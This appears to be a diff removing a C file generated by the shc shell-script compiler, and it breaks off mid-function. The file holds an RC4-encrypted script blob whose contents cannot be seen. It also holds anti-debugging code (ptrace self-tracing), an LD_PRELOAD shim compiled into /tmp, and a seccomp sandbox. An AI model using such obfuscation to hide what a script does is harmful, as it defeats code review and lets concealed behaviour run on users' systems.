"\112\075\332\220\275\301\152\000\161\374\273\365\252\373\027\012" - "\170\124\357\273\226\112\105\214\323\000\262\115\272\157\026\046" - "\246\216\044\135\162\222\340\164\177\261\235\034\366\273\253\035" - "\153\222\255\210\170\234\360\200\074\032\053\235\306\070\215\157" - "\236\064\353\326\043\316\001\126\276\030\263\101\371\111\027\275" - "\377\262\162\316\301\314\103\322\003\124\052\112\012\135\247\061" - "\222\060\000\345\033\212\105\077\340\204\070\146\214\273\362\105" - "\135\341\002\305\363\300\305\306\273\026\054\127\055\017\225\033" - "\006\274\200\230\110\263\012\350\364\073\167\357\205\102\032\142" - "\146\116\122\306\101\305\236\267\173\037\061\322\245\152\170\147" - "\155\045\320\164\237\156\112\245\065\053\163\165\353\226\234\320" - "\102\171\254\144\374\323\136\377\232\273\023\105\062\046\246\211" - "\116\300\016\025\213\213\253\246\351\134\316\366\320\356\376\362" - "\073\300\364\007\040\311\331\021\327\247\023\242\364\070\125\114" - "\103\272\342\130\167\266\316\016\155\060\357\371\240\003\173\102" - "\321\374\044\006\176\367\156\232\301\207\355\020\261\226\137\320" - "\013\120\110\161\134\364\005\255\026\044\010\345\273\324\371\304" - "\166\025\311\133\014\362\162\060\112\035\311\242\170\021\002\004" - "\262\327\316\327\362\066\354\117\366\376\221\333\135\013\110\114" - "\040\313\025\261\057\071\122\067\364\347\342\044\201\004\072\075" - "\256\366\126\306\217\211\372\226\334\040\172\245\001\346\156\241" - "\360\317\301\334\252\106\225\176\254\037\067\230\175\110\325\077" - "\334\351\163\346\302\106\347\301\160\172\331\120\225\310\031\214" - "\254\214\130\373\225\074\103\355\321\121\364\224\044\075\213\321" - "\123\175\242\044\251\111\341\030\264\332\201\265\064\161\322\257" - "\202\022\260\157\316\314\063\332\231\210\262\216\022\325\252\222" - "\314\215\347\252\043\174\233\040\120\066\106\161\045\036\164\354" - "\123\237\142\143\226\170\360\021\322\074\140\000\270\034\154\212" - "\073\375\327\045\071\110\353\333\175\154\262\233\334\211\003\305" - "\131\365\302\163\374\333\122\020\031\323\167\072\167\032\075\135" - "\256\344\122\043\046\375\053\273\326\076\134\150\021\052\240\153" - "\162\015\211\034\001\050\356\157\212\374\354\121\070\241\256\210" - "\036\306\040\132\015\160\305\047\070\077\373\263\376\203\354\356" - "\352\114\203\114\162\145\252\224\215\342\164\373\205\007\065\240" - "\005\303\314\054\204\274\164\265\167\040\101\064\217\065\075\272" - "\014\375\320\321\176\150\227\140\026\151\061\167\223\145\076\266" - "\266\165\154\216\357\076\343\256\131\252\122\111\376\077\011\212" - "\363\121\053\250\321\030\047\111\216\227\143\377\370\277\322\301" - "\021\006\332\260\240\145\070\222\307\106\336\130\256\336\334\312" - "\311\025\167\025\203\211\366\021\233\045\011\267\057\316\102\001" - "\250\041\232\110\175\045\106\377\336\315\301\126\107\313\234\226" - "\013\252\307\122\010\007\172\365\231\055\123\353\234\030\314\012" - "\007\353\120\210\256\210\331\224\112\234\333\013\337\237\011\241" - "\217\053\351\006\024\204\061\027\300\327\016\200\132\176\225\035" - "\323\216\340\265\140\267\045\136\000\035\065\023\320\244\233\212" - "\304\007\011\144\325\143\344\012\334\051\200\335\106\141\355\356" - "\050\330\033\062\011\206\331\256\000\016\260\000\206\261\350\361" - "\005\326\356\326\125\325\113\124\143\241\347\006\237\341\061\335" - "\152\260\275\246\274\376\215\050\322\134\016\010\075\031\305\316" - "\003\143\013\133\372\045\341\236\211\301\037\304\135\345\155\113" - "\116\103\324\157\344\210\355\365\173\010\360\124\024\340\002\257" - "\240\064\137\271\077\227\306\301\356\144\230\325\231\356\207\137" - "\144\120\321\011\335\167\301\142\333\111\247\345\274\164\142\172" - "\372\127\211\221\244\325\010\077\155\131\253\256\011\170\323\023" - "\263\247\027\326\317\307\332\237\256\177\136\132\022\060\073\023" - "\246\133\225\136\365\142\207\163\366\361\102\344\277\176\145\237" - "\047\266\211\151\001\174\133\237\374\307\104\050\335\173\261\012" - "\220\106\020\075\064\350\105\130\261\014\327\011\176\365\152\222" - "\334\207\233\153\357\203\216\144\052\324\014\365\071\207\222\112" - "\272\126\062\104\265\266\015\312\104\040\300\346\077\010\107\165" - "\147\141\025\052\311\201\306\127\135\103\147\315\313\300\311\127" - "\276\375\066\112\373\333\223\261\225\237\244\076\045\342\341\166" - "\120\076\375\122\123\167\347\173\007\030\053\254\354\116\361\276" - "\331\217\363\003\301\307\045\021\262\303\040\113\034\216\234\164" - "\373\262\000\237\011\116\276\031\307\370\075\145\215\166\173\363" - "\131\221\227\077\022\023\166\357\322\272\332\246\041\075\133\375" - "\011\030\014\366\311\206\356\052\013\325\263\107\112\304\161\274" - "\152\170\123\363\305\270\012\371\040\221\222\370\052\057\252\273" - "\216\116\162\343\356\067\265\013\267\001\100\076\310\236\360\010" - "\053\155\375\137\040\057\200\200\330\006\257\312\276\134\245\237" - "\331\074\375\005\213\374\123\032\333\260\252\023\253\235\303\114" - "\151\203\202\243\070\010\202\204\345\235\104\055\243\077\205\233" - "\041\353\106\320\023\257\017\343\237\251\013\103\347\310\173\254" - "\305\001\241\110\075\107\050\202\053\162\140\360\010\356\210\222" - "\370\005\007\306\221\175\103\232\323\075\330\061\027\344\360\062" - "\121\252\060\364\313\374\263\016\265\157\203\231\270\337\061\266" - "\103\215\062\077\134\155\031\011\011\300\237\152\210\122\014\076" - "\116\037\304\254\152\313\065\357\374\122\003\144\257\070\012\326" - "\005\243\215\116\227\343\022\365\256\107\164\007\066\040\216\240" - "\241\172\044\332\225\271\027\052\221\005\327\341\032\061\052\130" - "\325\375\002\346\056\205\137\131\241\043\250\344\342\256\325\134" - "\135\223\167\343\374\231\007\227\327\026\367\370\235\365\240\352" - "\135\014\131\063\114\147\072\005\000\163\036\241\336\341\312\327" - "\366\122\000\150\366\273\251\140\137\016\126\204\325\223\364\043" - "\133\350\256\214\070\136\046\223\052\220\143\023\271\041\111\123" - "\352\003\245\176\170\153\176\073\174\134\013\344\222\221\331\215" - "\147\041\116\043\112\340\000\374\146\357\116\324\174\155\077\017" - "\341\346\221\012\201\334\213\173\234\117\315\203\032\243\104\314" - "\344\043\012\243\210\224\024\135\057\376\375\006\253\143\256\040" - "\213\265\346\262\251\057\264\115\275\145\366\112\211\234\353\020" - "\135\276\231\224\350\025\063\365\251\152\137\125\366\100\274\150" - "\021\257\074\153\111\322\315\140\305\047\330\123\213\120\324\011" - "\314\163\300\106\005\026\243\154\014\014\307\206\171\337\233\317" - "\044\144\304\030\221\242\012\124\023\140\155\065\160\371\306\126" - "\311\355\002\112\335\132\237\261\312\130\235\170\217\133\365\010" - "\271\202\044\166\240\222\151\061\003\237\256\110\316\270\301\165" - "\143\324\011\064\252\250\323\133\276\337\352\254\167\246\023\321" - "\230\233\330\240\141\051\262\321\073\144\247\242\120\020\273\252" - "\026\123\335\203\252\377\276\271\162\125\056\226\072\152\026\060" - "\077\054\175\137\302\357\223\215\342\161\231\017\304\367\164\177" - "\110\233\134\332\110\135\375\067\174\175\140\245\216\205\104\137" - "\102\247\033\277\127\131\256\135\133\103\204\146\322\342\225\271" - "\250\243\060\212\176\317\176\235\273\110\323\020\073\127\115\356" - "\053\274\347\033\104\377\306\154\315\217\252\326\124\172\201\070" - "\334\017\043\067\121\015\102\274\162\212\325\130\053\111\265\046" - "\037\345\033\102\372\373\154\363\325\142\073\370\254\210\240\152" - "\215\207\332\160\255\024\175\073\076\171\152\057\137\307\306\031" - "\336\313\052\227\352\202\271\313\131\005\073\044\063\377\243\310" - "\040\027\310\234\316\230\252\017\054\225\372\123\127\372\202\127" - "\012\364\341\327\147\233\036\326\306\222\077\125\056\272\301\237" - "\063\130\164\327\134\170\017\005\063\305\210\264\142\020\167\105" - "\132\120\274\362\042\120\350\046\243\175\173\204\171\057\107\341" - "\167\313\142\177\377\024\061\213\312\070\164\046\211\356\300\210" - "\302\253\067\071\115\326\154\257\206\071\337\376\157\343\006\105" - "\333\233\322\070\161\121\062\020\074\253\125\017\326\217\207\340" - "\277\375\076\031\236\364\365\360\260\107\126\270\047\225\070\272" - "\155\303\207\326\331\144\044\240\012\266\301\377\106\336\017\321" - "\166\175\361\002\106\021\262\047\030\062\127\265\260\202\104\161" - "\146\145\332\271\340\172\100\016\336\355\313\375\327\117\142\303" - "\026\240\336\361\112\247\257\163\053\167\367\233\127\225\331\207" - "\350\334\352\154\103\351\224\156\312\316\020\310\144\273\042\367" - "\152\116\124\070\004\275\232\204\343\146\261\032\161\102\314\312" - "\154\002\242\133\162\203\151\257\364\374\365\365\336\325\146\034" - "\361\323\063\160\204\243\220\177\330\115\063\035\323\115\365\072" - "\332\007\034\162\066\161\174\332\171\263\307\015\174\201\043\233" - "\254\330\147\374\142\067\243\042\346\327\347\052\351\051\347\265" - "\355\330\242\140\335\113\225\036\211\324\027\352\322\321\034\357" - "\112\352\033\000\077\221\317\121\203\115\050\327\250\033\242\107" - "\170\134\252\114\113\334\171\313\030\117\367\061\171\302\230\056" - "\360\050\257\324\376\321\014\316\367\270\345\030\235\104\227\136" - "\132\116\215\247\303\362\121\337\241\235\021\220\232\070\267\114" - "\260\311\310\100\116\176\022\007\365\317\024\127\366\307\076\203" - "\337\204\053\166\123\070\316\343\174\252\372\235\241\265\034\273" - "\355\343\346\247\036\234\006\017\332\216\015\253\100\160\145\021" - "\112\111\337\203\303\042\303\162\346\105\204\000\051\020\003\343" - "\067\302\021\153\013\105\114\023\310\310\162\240\344\044\155\060" - "\037\122\354\012\022\313\300\040\047\234\054\042\320\131\064\123" - "\054\274\315\143\124\146\166\034\056\351\275\023\016\052\103\055" - "\175\057\070\220\373\370\260\042\225\334\105\146\066\171\272\142" - "\066\207\305\212\355\074\247\034\046\144\057\064\217\163\141\014" - "\243\232\234\236\223\115\301\050\052\007\217\140\200\111\303\267" - "\321\211\101\277\305\351\333\353\115\013\040\335\176\202\352\041" - "\034\207\300\257\324\201\327\377\211\147\137\011\260\043\300\201" - "\254\002\101\162\354\034\135\072\050\176\027\246\000\001\310\034" - "\210\210\313\135\012\243\134\223\012\274\235\273\337\136\075\213" - "\141\176\375\115\233\133\207\303\331\236\152\331\240\062\366\050" - "\273\301\205\305\145\341\131\160\235\366\053\175\125\150\010\266" - "\347\006\003\202\141\213\106\073\052\260\024\312\342\012\362\235" - "\314\170\143\061\131\275\241\367\264\315\164\011\066\175\277\035" - "\203\303\237\344\117\345\037\171\226\064\103\170\077\065\026\013" - "\256\172\075\007\067\337\377\353\254\163\364\342\360\264\000\164" - "\170\237\130\307\205\170\100\033\255\204\224\354\272\253\370\150" - "\045\066\160\135\025\157\110\302\343\075\245\324\362\245\110\153" - "\105\240\063\313\031\164\347\306\370\173\263\262\047\253\033\114" - "\341\213\251\367\372\362\272\336\060\140\262\043\006\372\216\114" - "\233\301\027\264\065\376\173\056\172\056\340\241\332\374\356\273" - "\207\230\263\202\213\156\140\274\316\023\337\325\015\156\041\251" - "\060\070\136\145\067\331\224\262\010\165\124\342\161\103\235\370" - "\333\121\173\147\300\334\043\216\357\002\143\374\161\204\246\241" - "\275\004\007\365\335\233\247\346\020\374\310\201\077\146\172\032" - "\267\365\201\167\321\245\006\300\250\152\275\031\357\143\272\255" - "\150\301\242\106\134\112\054\155\106\364\356\205\132\151\237\022" - "\137\041\212\060\306\220\361\157\373\257\210\353\023\102\230\173" - "\004\072\302\141\205\356\316\313\342\275\120\074\046\360\117\205" - "\022\331\266\331\152\250\110\145\130\320\120\154\023\350\350\027" - "\043\252\171\250\230\107\164\172\005\304\267\054\265\007\261\307" - "\340\150\241\112\021\351\260\152\272\000\326\315\351\276\345\015" - "\150\137\266\001\247\052\174\254\357\064\330\244\073\212\154\033" - "\363\015\146\004\366\026\156\261\027\105\176\000\003\144\016\154" - "\304\304\155\153\356\351\027\335\035\357\202\130\171\356\164\154" - "\373\332\161\362\360\340\243\010\045\042\010\050\206\027\225\112" - "\333\002\265\312\353\315\247\010\274\051\141\066\027\325\243\023" - "\257\025\005\240\365\250\250\032\312\261\103\121\310\330\234\244" - "\333\122\156\306\037\026\317\334\077\060\023\127\006\266\153\266" - "\313\160\126\300\031\377\333\343\260\037\065\171\370\321\035\323" - "\043\213\232\103\241\152\037\341\233\062\071\241\351\244\127\265" - "\025\256\166\056\255\121\021\136\161\107\327\151\030\365\075\074" - "\200\330\200\042\102\240\004\335\323\075\177\274\342\326\161\367" - "\204\347\045\062\071\067\220\253\177\147\024\227\134\122\324\335" - "\052\125\000\154\365\004\112\310\102\311\205\045\240\367\034\045" - "\337\102\127\031\172\347\304\371\117\331\221\253\053\146\211\126" - "\273\211\302\260\216\015\171\321\327\377\366\167\366\023\234\325" - "\126\363\357\321\333\263\313\052\214\134\326\270\303\137\016\176" - "\351\321\057\170\336\251\111\265\250\077\055\236\123\312\164\251" - "\276\143\173\231\027\106\303\243\243\231\133\146\371\152\345\342" - "\073\025\133\031\276\244\317\147\344\375\006\067\307\173\341\205" - "\337\134\037\366\242\343\232\106\174\366\254\166\140\222\131\233" - "\250\264\265\147\130\205\316\075\202\324\165\112\120\126\320\057" - "\263\357\045\126\322\300\234\117\266\111\305\026\334\037\262\204" - "\323\147\353\053\354\271\151\157\216\336\272\336\065\212\015\350" - "\172\063\077\114\363\333\234\252\045\142\300\001\201\162\205\124" - "\332\160\200\307\052\351\066\270\310\360\227\375\173\245\345\365" - "\330\044\102\314\000\336\166\045\101\067\046\302\252\253\027\204" - "\034\227\113\106\201\202\376\111\163\226\107\356\073\054\343\024" - "\121\045\340\122\004\127\167\105\217\236\010\071\112\037\276\146" - "\267\012\255\071\214\254\203\377\102\312\356\175\366\321\221\110" - "\367\162\232\374\312\022\102\131\261\112\222\373\152\120\142\042" - "\132\020\133\347\274\336\347\376\250\325\174\237\247\016\350\237" - "\201\202\233\113\225\336\244\106\050\067\101\223\210\244\265\342" - "\264\021\312\161\357\261\157\230\206\354\067\055\373\037\315\174" - "\242\150\310\067\106\155\175\157\244\277\003\054\144\270\017\031" - "\311\332\212\271\213\372\121\022\346\211\100\342\251\015\137\113" - "\165\047\203\274\225\001\054\071\300\057\146\045\347\166\076\261" - "\120\310\153\334\302\274\356\251\106\056\214\357\073\353\072\261" - "\023\275\155\250\276\231\342\177\310\111\245\260\277\343\142\020" - "\254\315\354\157\212\332\031\320\010\245\277\104\221\372\365\244" - "\270\142\114\167\374\056\366\305\170\234\166\067\200\330\110\054" - "\245\065\234\060\020\266\000\031\133\300\135\354\272\122\221\163" - "\265\335\352\261\014\341\167\204\175\355\274\375\305\005\052\153" - "\072\307\233\112\175\234\144\331\135\301\306\030\023\127\213\311" - "\065\165\173\101\126\362\306\324\337\203\321\244\210\374\020\303" - "\303\254\016\100\110\162\031\245\064\337\276\110\067\111\021\154" - "\277\214\256\026\176\165\352\135\370\274\002\201\271\022\105\174" - "\276\123\275\007\306\327\255\372\267\153\102\356\264\123\132\164" - "\340\011\212\136\176\165\273\166\061\276\370\353\320\075\147\217" - "\221\045\226\130\374\103\122\264\257\225\242\144\351\375\330\311" - "\007\143\047\205\330\343\374\012\242\364\365\162\062\135\001\304" - "\202\230\034\177\334\157\063\213\004\326\357\356\324\307\267\333" - "\052\337\141\002\303\135\015\145\122\002\330\204\137\332\110\342" - "\162\145\142\116\324\226\331\331\155\311\307\102\220\177\035\272" - "\137\176\275\042\334\312\210\056\315\141\263\055\073\373\020\256" - "\141\162\375\065\011\327\017\166\240\326\270\061\125\326\354\264" - "\125\251\327\061\164\140\140\102\301\023\157\375\017\200\253\160" - "\362\251\246\373\201\265\162\042\213\052\123\341\000\077\226\126" - "\351\156\207\136\316\347\240\220\373\020\215\012\220\071\172\203" - "\342\040\176\144\325\361\206\141\033\331\103\034\031\332\163\002" - "\110\372\140\027\342\001\247\336\021\065\350\241\156\142\044\121" - "\203\243\265\131\224\073\273\260\025\376\315\056\331\100\061\042" - "\073\221\071\036\222\341\374\244\026\344\105\205\107\152\326\313" - "\016\214\045\242\310\340\123\335\337\040\014\270\141\075\332\234" - "\317\024\272\141\366\267\006\015\234\114\222\344\266\151\257\304" - "\365\324\147\275\265\272\233\224\332\247\115\074\344\047\330\264" - "\074\223\026\063\112\034\100\347\150\323\313\036\075\172\343\063" - "\117\112\361\004\004\214\231\337\064\346\033\031\015\364\315\112" - "\207\343\176\322\377\276\271\147\222\204\206\317\377\151\003\116" - "\264\364\123\270\201\354\230\265\322\264\316\340\250\234\053\060" - "\177\251\002\177\150\274\347\372\101\155\312\100\327\316\217\213" - "\302\343\104\103\317\335\371\242\221\310\203\072\144\256\152\344" - "\130\155\143\300\052\113\273\153\270\206\253\220\124\073\033\027" - "\036\140\132\355\075\124\220\316\034\023\011\200\302\164\145\032" - "\341\310\333\013\024\226\167\315\035\042\135\162\135\171\211\173" - "\331\344\151\027\070\371\346\124\015\357\325\317\143\072\352\105" - "\003\305\121\027\134\310\344\172\352\102\354\110\274\165\304\225" - "\132\055\255\222\047\223\347\064\202\275\004\346\367\356\053\373" - "\264\174\023\021\104\370\213\057\072\167\167\366\355\074\214\107" - "\152\071\332\221\315\301\306\117\176\313\066\166\272\141\161\157" - "\336\204\200\042\175\013\122\267\203\312\256\160\006\073\267\160" - "\164\221\002\102\123\311\222\322\224\310\110\116\052\272\275\010" - "\077\076\053\274\111\175\164\314\107\042\075\115\135\364\276\322" - "\206\300\024\332\211\246\254\036\157\365\155\231\257\053\241\356" - "\151\314\253\262\111\037\177\221\102\274\337\237\261\235\162\070" - "\136\207\022\350\056\277\007\235\264\164\066\143\237\327\122\010" - "\244\375\273\356\034\073\177\137\370\136\377\251\374\161\342\133" - "\371\364\103\047\263\112\304\147\277\373\313\136\323\035\147\167" - "\033\043\145\067\136\344\227\127\103\226\000\100\007\342\233\000" - "\327\337\050\213\051\355\362\351\350\275\107\273\333\257\062\366" - "\322\230\056\061\174\305\210\300\133\211\000\143\154\233\144\103" - "\173\214\316\244\171\301\215\141\177\325\035\132\204\117\121\127" - "\347\177\211\144\105\021\045\240\233\045\004\007\301\150\113\074" - "\364\032\341\156\334\157\320\133\105\355\266\312\074\010\042\044" - "\210\253\210\315\274\256\156\130\323\162\140\225\333\254\322\317" - "\306\264\076\243\044\016\377\151\373\265\064\070\276\126\135\106" - "\001\346\023\276\224\202\026\150\364\166\376\317\042\320\237\351" - "\205\336\214\251\354\214\023\350\101\107\041\000\235\176\106\236" - "\144\132\135\371\334\163\141\321\352\137\241\015\060\101\367\265" - "\037\204\136\014\020\162\365\122\271\027\122\126\226\230\365\373" - "\363\122\364\317\306\125\241\261\265\102\276\345\204\266\232\243" - "\072\371\260\112\153\245\235\045\275\357\173\123\210\161\116\173" - "\304\102\113\212\230\355\073\115\057\372\063\264\260\316\127\353" - "\307\010\066\063\256\323\130\153\302\324\276\113\105\015\307\011" - "\120\022\224\350\377\320\066\057\312\151\343\173\067\073\146\377" - "\103\234\063\362\157\214\135\062\140\034\175\246\051\105\260\171" - "\127\104\142\127\024\230\207\337\002\153\133\072\247\302\072\353" - "\137\155\335\317\372\072\001\132\127\177\001\200\304\261\372\034" - "\366\135\164\012\365\373\352\370\147\106\062\016\010\155\371\147" - "\333\326\066\325\021\070\060\150\267\061\351\174\342\344\230\330" - "\101\015\343\067\010\316\057\160\024\142\176\034\317\170\204\252" - "\116\272\200\140\362\260\311\252\341\263\047\303\230\300\234\331" - "\315\177\021\326\116\100\106\142\243\305\177\163\075\003\036\214" - "\276\236\354\261\116\266\134\057\151\203\363\001\103\220\333\020" - "\020\354\346\136\055\054\300\320\361\100\103\057\103\142\273\002" - "\000\247\263\117\136\017\176\307\223\162\311\326\002\244\346\022" - "\221\315\161\276\372\062\217\354\162\323\033\266\065\326\270\065" - "\176\154\204\334\174\003\244\017\166\156\345\171" -#define xecc_z 15 -#define xecc ((&data[24940])) - "\244\231\375\017\040\231\027\047\330\203\326\015\324\154\241\301" - "\310\001\142\223" -#define lsto_z 1 -#define lsto ((&data[24957])) - "\017" -#define pswd_z 256 -#define pswd ((&data[25008])) - "\130\372\161\021\060\360\175\265\314\372\271\161\011\057\337\356" - "\251\362\273\065\226\124\063\371\350\142\353\150\004\260\003\135" - "\253\165\156\334\145\354\221\062\346\113\243\357\172\203\336\044" - "\165\232\030\172\101\072\272\031\274\007\206\373\322\156\264\312" - "\056\223\220\355\137\343\103\024\000\233\175\374\161\054\001\264" - "\043\032\056\144\124\351\175\021\361\004\014\303\162\300\216\241" - "\124\036\216\264\001\321\310\001\155\106\376\336\163\000\223\226" - "\032\302\372\157\254\170\201\235\174\215\141\357\116\360\220\243" - "\016\037\127\020\361\040\022\136\146\020\075\332\020\320\160\053" - "\223\152\233\077\342\034\335\137\251\076\116\370\056\337\233\075" - "\377\362\116\360\023\141\117\172\162\214\124\203\135\304\256\361" - "\056\111\060\021\146\015\161\017\114\300\010\172\237\243\270\237" - "\226\007\220\251\150\337\043\332\154\170\135\311\074\014\272\153" - "\126\353\175\274\371\356\314\105\256\324\300\116\170\171\355\016" - "\200\176\270\350\135\334\303\311\124\040\223\221\055\116\374\203" - "\072\172\100\063\150\014\171\027\341\071\146\131\262\124\150\063" - "\322\041\034\057\376\337\371\122\000\215\344\055\333\341\261\025" - "\133\362\111\303\377\302\333\340\374\101\072\257\226\243\342\150" - "\304\376\230\302\335\222\025\336\037\371\014\373\332\275\021\066" - "\257\132\131\014\356\214\005\327\357\360\100\364\241\104\121\115" - "\271\300\051\037\254\273\122\223\006\366\202\201\171\141\245\357" - "\373\376\373\352\213\000\302\172\361"/* End of data[] */; -#define hide_z 4096 -#define SETUID 0 /* Define as 1 to call setuid(0) at start of script */ -#define DEBUGEXEC 0 /* Define as 1 to debug execvp calls */ -#define TRACEABLE 1 /* Define as 1 to enable ptrace the executable */ -#define HARDENING 0 /* Define as 1 to disable ptrace/dump the executable */ -#define BUSYBOXON 0 /* Define as 1 to enable work with busybox */ -#define MMAP2 0 /* Define as 1 to use syscall mmap2 */ - -#if HARDENING -static const char * shc_x[] = { -"/*", -" * Copyright 2019 - Intika ", -" * Replace ******** with secret read from fd 21", -" * Also change arguments location of sub commands (sh script commands)", -" * gcc -Wall -fpic -shared -o shc_secret.so shc_secret.c -ldl", -" */", -"", -"#define _GNU_SOURCE /* needed to get RTLD_NEXT defined in dlfcn.h */", -"#define PLACEHOLDER \"********\"", -"#include ", -"#include ", -"#include ", -"#include ", -"#include ", -"#include ", -"", -"static char secret[128000]; //max size", -"typedef int (*pfi)(int, char **, char **);", -"static pfi real_main;", -"", -"// copy argv to new location", -"char **copyargs(int argc, char** argv){", -" char **newargv = malloc((argc+1)*sizeof(*argv));", -" char *from,*to;", -" int i,len;", -"", -" for(i = 0; i 0) {", -" int i;", -"", -" if (secret[n - 1] == '\\n') secret[--n] = '\\0';", -" for (i = 1; i < argc; i++)", -" if (strcmp(argv[i], PLACEHOLDER) == 0)", -" argv[i] = secret;", -" }", -"", -" real_main = main;", -"", -" return real___libc_start_main(mymain, argc, argv, init, fini, rtld_fini, stack_end);", -"}", -"", -0}; -#endif /* HARDENING */ - -/* rtc.c */ - -#include -#include - -#include -#include -#include -#include -#include -#include - -/* 'Alleged RC4' */ - -static unsigned char stte[256], indx, jndx, kndx; - -/* - * Reset arc4 stte. - */ -void stte_0(void) -{ - indx = jndx = kndx = 0; - do { - stte[indx] = indx; - } while (++indx); -} - -/* - * Set key. Can be used more than once. - */ -void key(void * str, int len) -{ - unsigned char tmp, * ptr = (unsigned char *)str; - while (len > 0) { - do { - tmp = stte[indx]; - kndx += tmp; - kndx += ptr[(int)indx % len]; - stte[indx] = stte[kndx]; - stte[kndx] = tmp; - } while (++indx); - ptr += 256; - len -= 256; - } -} - -/* - * Crypt data. - */ -void arc4(void * str, int len) -{ - unsigned char tmp, * ptr = (unsigned char *)str; - while (len > 0) { - indx++; - tmp = stte[indx]; - jndx += tmp; - stte[indx] = stte[jndx]; - stte[jndx] = tmp; - tmp += stte[indx]; - *ptr ^= stte[tmp]; - ptr++; - len--; - } -} - -/* End of ARC4 */ - -#if HARDENING - -#include -#include -#include -#include -#define PR_SET_PTRACER 0x59616d61 - -/* Seccomp Sandboxing Init */ -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include - -#include -#include -#include - -#define ArchField offsetof(struct seccomp_data, arch) - -#define Allow(syscall) \ - BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, SYS_##syscall, 0, 1), \ - BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW) - -struct sock_filter filter[] = { - /* validate arch */ - BPF_STMT(BPF_LD+BPF_W+BPF_ABS, ArchField), - BPF_JUMP( BPF_JMP+BPF_JEQ+BPF_K, AUDIT_ARCH_X86_64, 1, 0), - BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL), - - /* load syscall */ - BPF_STMT(BPF_LD+BPF_W+BPF_ABS, offsetof(struct seccomp_data, nr)), - - /* list of allowed syscalls */ - Allow(exit_group), /* exits a process */ - Allow(brk), /* for malloc(), inside libc */ -#if MMAP2 - Allow(mmap2), /* also for malloc() */ -#else - Allow(mmap), /* also for malloc() */ -#endif - Allow(munmap), /* for free(), inside libc */ - - /* and if we don't match above, die */ - BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL), -}; -struct sock_fprog filterprog = { - .len = sizeof(filter)/sizeof(filter[0]), - .filter = filter -}; - -/* Seccomp Sandboxing - Set up the restricted environment */ -void seccomp_hardening() { - if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) { - perror("Could not start seccomp:"); - exit(1); - } - if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filterprog) == -1) { - perror("Could not start seccomp:"); - exit(1); - } -} -/* End Seccomp Sandboxing Init */ - -void shc_x_file() { - FILE *fp; - int line = 0; - - if ((fp = fopen("/tmp/shc_x.c", "w")) == NULL ) {exit(1); exit(1);} - for (line = 0; shc_x[line]; line++) fprintf(fp, "%s\n", shc_x[line]); - fflush(fp);fclose(fp); -} - -int make() { - char * cc, * cflags, * ldflags; - char cmd[4096]; - - cc = getenv("CC"); - if (!cc) cc = "cc"; - - sprintf(cmd, "%s %s -o %s %s", cc, "-Wall -fpic -shared", "/tmp/shc_x.so", "/tmp/shc_x.c -ldl"); - if (system(cmd)) {remove("/tmp/shc_x.c"); return -1;} - remove("/tmp/shc_x.c"); return 0; -} - -void arc4_hardrun(void * str, int len) { - //Decode locally - char tmp2[len]; - char tmp3[len+1024]; - memcpy(tmp2, str, len); - - unsigned char tmp, * ptr = (unsigned char *)tmp2; - int lentmp = len; - int pid, status; - pid = fork(); - - shc_x_file(); - if (make()) {exit(1);} - - setenv("LD_PRELOAD","/tmp/shc_x.so",1); - - if(pid==0) { - - //Start tracing to protect from dump & trace - if (ptrace(PTRACE_TRACEME, 0, 0, 0) < 0) { - kill(getpid(), SIGKILL); - _exit(1); - } - - //Decode Bash - while (len > 0) { - indx++; - tmp = stte[indx]; - jndx += tmp; - stte[indx] = stte[jndx]; - stte[jndx] = tmp; - tmp += stte[indx]; - *ptr ^= stte[tmp]; - ptr++; - len--; - } - - //Do the magic - sprintf(tmp3, "%s %s", "'********' 21<<<", tmp2); - - //Exec bash script //fork execl with 'sh -c' - system(tmp2); - - //Empty script variable - memcpy(tmp2, str, lentmp); - - //Clean temp - remove("/tmp/shc_x.so"); - - //Sinal to detach ptrace - ptrace(PTRACE_DETACH, 0, 0, 0); - exit(0); - } - else {wait(&status);} - - /* Seccomp Sandboxing - Start */ - seccomp_hardening(); - - exit(0); -} -#endif /* HARDENING */ - -/* - * Key with file invariants. - */ -int key_with_file(char * file) -{ - struct stat statf[1]; - struct stat control[1]; - - if (stat(file, statf) < 0) - return -1; - - /* Turn on stable fields */ - memset(control, 0, sizeof(control)); - control->st_ino = statf->st_ino; - control->st_dev = statf->st_dev; - control->st_rdev = statf->st_rdev; - control->st_uid = statf->st_uid; - control->st_gid = statf->st_gid; - control->st_size = statf->st_size; - control->st_mtime = statf->st_mtime; - control->st_ctime = statf->st_ctime; - key(control, sizeof(control)); - return 0; -} - -#if DEBUGEXEC -void debugexec(char * sh11, int argc, char ** argv) -{ - int i; - fprintf(stderr, "shll=%s\n", sh11 ? sh11 : ""); - fprintf(stderr, "argc=%d\n", argc); - if (!argv) { - fprintf(stderr, "argv=\n"); - } else { - for (i = 0; i <= argc ; i++) - fprintf(stderr, "argv[%d]=%.60s\n", i, argv[i] ? argv[i] : ""); - } -} -#endif /* DEBUGEXEC */ - -void rmarg(char ** argv, char * arg) -{ - for (; argv && *argv && *argv != arg; argv++); - for (; argv && *argv; argv++) - *argv = argv[1]; -} - -void chkenv_end(void); - -int chkenv(int argc) -{ - char buff[512]; - unsigned long mask, m; - int l, a, c; - char * string; - extern char ** environ; - - mask = (unsigned long)getpid(); - stte_0(); - key(&chkenv, (void*)&chkenv_end - (void*)&chkenv); - key(&data, sizeof(data)); - key(&mask, sizeof(mask)); - arc4(&mask, sizeof(mask)); - sprintf(buff, "x%lx", mask); - string = getenv(buff); -#if DEBUGEXEC - fprintf(stderr, "getenv(%s)=%s\n", buff, string ? string : ""); -#endif - l = strlen(buff); - if (!string) { - /* 1st */ - sprintf(&buff[l], "=%lu %d", mask, argc); - putenv(strdup(buff)); - return 0; - } - c = sscanf(string, "%lu %d%c", &m, &a, buff); - if (c == 2 && m == mask) { - /* 3rd */ - rmarg(environ, &string[-l - 1]); - return 1 + (argc - a); - } - return -1; -} - -void chkenv_end(void){} - -#if HARDENING - -static void gets_process_name(const pid_t pid, char * name) { - char procfile[BUFSIZ]; - sprintf(procfile, "/proc/%d/cmdline", pid); - FILE* f = fopen(procfile, "r"); - if (f) { - size_t size; - size = fread(name, sizeof (char), sizeof (procfile), f); - if (size > 0) { - if ('\n' == name[size - 1]) - name[size - 1] = '\0'; - } 